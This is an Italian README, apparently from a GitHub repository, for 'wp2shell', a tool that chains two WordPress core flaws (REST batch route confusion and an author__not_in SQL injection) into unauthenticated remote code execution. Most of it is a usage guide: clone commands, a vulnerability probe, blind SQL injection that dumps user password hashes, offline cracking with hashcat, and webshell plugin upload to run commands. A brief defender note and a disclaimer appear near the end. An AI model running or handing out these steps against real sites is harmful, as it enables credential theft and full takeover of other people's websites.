
L'esecuzione remota di codice (RCE) non autenticata nel core di WordPress consente agli attaccanti di eseguire codice arbitrario senza effettuare l'accesso, concatenando CVE-2026-63030 e CVE-2026-60137, con il potenziale rischio di compromissione completa del sito.
Esecuzione remota di codice non autenticata per il POC del core di WordPress (CVE-2026-63030 + CVE-2026-60137)
wp2shell exploit per la catena di vulnerabilità critiche nel core di WordPress. Combina un bug di confusione delle route batch dell'API REST con un'iniezione SQL in WP_Query per ottenere esecuzione remota di codice non autenticata sulle installazioni WordPress vulnerabili.
| Dettaglio | Informazioni |
|---|---|
| CVE | CVE-2026-63030 (confusione route batch REST) + CVE-2026-60137 (author__not_in SQLi) |
| Versioni interessate | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corretta in | 6.9.5, 7.0.2 |
| Autenticazione richiesta | Nessuna — non autenticata |
| CVSS | Critico (catena RCE) |
| Scoperto da | Adam Kues (Assetnote / Searchlight Cyber) |
| Dipendenze | Python 3.8+ — solo libreria standard |
L'exploit combina due bug nel core di WordPress:
CVE-2026-60137 — SQL Injection – Quando author__not_in viene passato come stringa invece di un array, WordPress salta il controllo di sanificazione is_array() e interpola il valore grezzo in una clausola SQL NOT IN (...).
CVE-2026-63030 — Confusione delle Route Batch – L'endpoint /wp-json/batch/v1 costruisce array paralleli $matches e $validation. Una sotto-richiesta malformata viene aggiunta a $validation ma non a $matches, causando uno spostamento dell'indice di +1. La sotto-richiesta i viene inviata con il gestore della sotto-richiesta i+1.
Combinate insieme: Una richiesta POST /wp/v2/posts contenente una richiesta interna GET /wp/v2/users con una stringa author_exclude bypassa sia la allow-list dei metodi che la sanificazione degli input. La stringa arriva a WP_Query come author__not_in e viene interpolata in SQL — fornendo iniezione SQL cieca non autenticata.
Da qui, lo strumento può:
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
Tutto qui. Nessun pacchetto di terze parti richiesto.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Avvia un menu interattivo con tutte le funzionalità disponibili tramite opzioni numerate.
check — Conferma la Vulnerabilità (Sicuro)Esegue una sonda a ritardo temporale per confermare la sfruttabilità. Non legge dati e non modifica nulla.
./wp2shell.py http://target.com check
read — Estrai Dati (Iniezione SQL Cieca)Estrae informazioni dal database utilizzando l'iniezione SQL cieca basata sul tempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Esecuzione Remota di CodiceRichiede credenziali di amministratore valide. L'iniezione SQL può recuperare l'hash della password, ma devi fornire la password in chiaro recuperata.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Ramo | Vulnerabili | Corretta |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (solo SQLi, nessuna RCE) | 6.8.6 |
Le versioni precedenti alla 6.9.0 non sono interessate dall'intera catena RCE.
Per i Difensori:
POST /wp-json/batch/v1 con corpi requests annidati404 sulla route batch non significa sempre "corretto" — può anche significare che un WAF/CDN sta bloccando l'accesso anonimo alle API RESTQuesto strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.
| Funzionalità | Descrizione |
|---|
| Verifica della vulnerabilità | Sonda sicura a ritardo temporale — non legge dati, non modifica nulla |
| Estrazione dei dati | Iniezione SQL cieca con ottimizzazione della ricerca binaria per un'estrazione efficiente |
| Dump degli hash utente | Estrae gli hash user_login e user_pass da wp_users |
| Esecuzione remota di codice | Autenticati come admin, carica un plugin webshell, esegui comandi |
| Shell interattiva | Sessione di esecuzione comandi persistente |
| Output a colori | Feedback visivo chiaro per i risultati della scansione |
| Nessuna dipendenza | Usa solo la libreria standard di Python |
| Opzione | Descrizione |
|---|
--users | Estrae user_login e user_pass da wp_users |
--database | Estrae il nome del database corrente |
--version | Estrae la versione di MySQL |
--query "SQL" | Esegue una query SQL personalizzata (estrazione cieca) |
--user USER | Nome utente admin per la RCE |
--password PASS | Password admin per la RCE (in chiaro, recuperata tramite SQLi) |
--cmd CMD | Comando da eseguire tramite la webshell |